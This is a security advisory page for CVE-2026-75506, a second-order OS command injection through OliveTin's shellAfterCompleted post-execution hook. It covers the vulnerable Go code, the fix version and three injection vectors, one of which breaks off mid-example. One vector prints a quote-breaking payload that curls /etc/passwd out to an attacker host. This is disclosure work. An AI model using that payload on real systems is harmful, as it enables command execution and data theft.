CVE-2026-75506: OliveTin: Second-Order OS Command Injection via shellAfterCompleted
Medium CVSS 6.6
- OSV id
- GHSA-vc6p-m6vx-6cwq
- Also known as
- CVE-2026-75506
- Published
- Last modified
Affected packages
| Package | Affected versions | Fixed in |
|---|---|---|
| github.com/OliveTin/OliveTin Go |
< 0.0.0-20260728155752-e5d29b68da66 | 0.0.0-20260728155752-e5d29b68da66 |
How to fix it
Upgrade github.com/OliveTin/OliveTin to 0.0.0-20260728155752-e5d29b68da66 or later.
go get github.com/OliveTin/OliveTin@v0.0.0-20260728155752-e5d29b68da66
go mod tidy
- Indirect Go modules are upgraded the same way (`go get module@version`).
- Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.
Not sure whether your project uses an affected version? Check your lockfile below for free.
Details
Summary
OliveTin's shellAfterCompleted post-execution hook injects unsanitized variables — including arbitrary command output (output), the authenticated username (ot_username), and the exit code (exitCode) — directly into a shell command template processed by sh -c. Unlike the main action's argument handling, no checkShellArgumentSafety validation is applied to these variables. An attacker who can influence the output of a command (e.g., via user-supplied arguments that reflect in stdout, or through trusted-header username spoofing) can inject arbitrary OS commands into the post-execution shell.
This is a distinct finding from CVE-2026-27626 (OS command injection via password type in webhooks). That CVE addressed argument types bypassing shell safety checks in the primary execution step. This vulnerability exists in the post-execution step (stepExecAfter), which has zero safety checks on any of its template variables.
Affected Versions
- All versions containing
shellAfterCompletedfunctionality (current codebase through latest)
Details
Vulnerable Code Path
In service/internal/executor/executor.go, the stepExecAfter function handles post-execution commands:
func stepExecAfter(req *ExecutionRequest) bool {
if req.Binding.Action.ShellAfterCompleted == "" {
return true
}
// These variables are injected WITHOUT any type checking or sanitization
args := map[string]string{
"output": req.logEntry.Output, // Arbitrary command stdout/stderr
"exitCode": fmt.Sprintf("%v", req.logEntry.ExitCode),
"ot_executionTrackingId": req.TrackingID,
"ot_username": req.AuthenticatedUser.Username, // User-controlled via trusted headers
}
// Template rendered with unsanitized args
finalParsedCommand, err := tpl.ParseTemplateWithActionContext(
req.Binding.Action.ShellAfterCompleted,
req.Binding.Entity,
args,
)
// Directly passed to sh -c — NO safety check
cmd := wrapCommandInShell(ctx, finalParsedCommand)
// ...
}
The wrapCommandInShell function (in executor_unix.go) executes:
func wrapCommandInShell(ctx *ExecutionContext, finalParsedCommand string) *exec.Cmd {
return exec.CommandContext(ctx, "sh", "-c", finalParsedCommand)
}
Why This Bypasses Existing Protections
The main action's shell commands go through checkShellArgumentSafety (called from handleShellBranch at line 693 of executor.go), which blocks dangerous argument types like password, url, email, raw_string_multiline, and very_dangerous_raw_string from shell mode.
stepExecAfter calls none of these checks. The output variable is:
- Not a declared argument with a type — it's internally created
- Not validated against any regex or type system
- Not passed through
checkShellArgumentSafety - Directly interpolated into a shell command template
A grep for checkShellArgumentSafety in the codebase confirms it is only invoked at one location:
executor.go:693: if err := checkShellArgumentSafety(req); err != nil {
This is inside handleShellBranch (the primary action execution), not in stepExecAfter.
Injection Vectors
Vector 1: Output Reflection
If a primary action echoes user-controlled input:
actions:
- title: Lookup User
shell: "echo 'User: {{ .Arguments.username }}'"
shellAfterCompleted: "audit-log '{{ .Arguments.output }}'"
arguments:
- name: username
type: ascii_identifier
While ascii_identifier constrains the direct argument, the command output itself is the injection vector. If the action processes external data (files, APIs, databases) and that data contains shell metacharacters, the output flows unsanitized into shellAfterCompleted.
Vector 2: Exec Mode Output Injection
Actions using exec mode (array form) safely handle arguments in the primary command but the output still flows to shellAfterCompleted through a shell:
actions:
- title: Read External Data
exec:
- cat
- /shared/data/{{ .Arguments.filename }}
shellAfterCompleted: "process-result '{{ .Arguments.output }}'"
arguments:
- name: filename
type: ascii_identifier
If /shared/data/report contains text like:
'; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #
The shellAfterCompleted becomes:
process-result ''; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #'
This executes arbitrary commands as the OliveTin process user.
Vector 3: Username Injection via Trusted Headers
When trusted header authentication is used (see Finding 04), the ot_username variable comes directly from an HTTP header with no sanitization:
```yaml actions:
- title: Any Action shell: "echo ok" shellAfterCompleted: "logger 'Action completed by {{ .Arguments.ot_username }}
References
- GHSA-vc6p-m6vx-6cwq on OSV.dev
- Web: https://github.com/OliveTin/OliveTin/security/advisories/GHSA-vc6p-m6vx-6cwq
- Advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-75506
- Web: https://github.com/OliveTin/OliveTin/pull/1070
- Web: https://github.com/OliveTin/OliveTin/pull/1088
- Web: https://github.com/OliveTin/OliveTin/commit/4ef86abee7aac4e4ec4a3200c7ca491ca3501065
- Web: https://github.com/OliveTin/OliveTin/commit/e5d29b68da66fd7f99072d6afd336dee2c28876c
- Package: https://github.com/OliveTin/OliveTin
- Web: https://github.com/OliveTin/OliveTin/releases/tag/3000.17.0
- Web: https://github.com/OliveTin/OliveTin/releases/tag/3000.18.1
Am I affected?
Upload or paste your lockfile. We check every package version in it against OSV.dev, this advisory included, and email you the vulnerable ones with the version that fixes them. Free, and no account needed.
About this data
Source: GitHub Advisory Database via OSV.dev (CC-BY 4.0). Severity comes from the advisory's own rating when it has one, else from its CVSS score.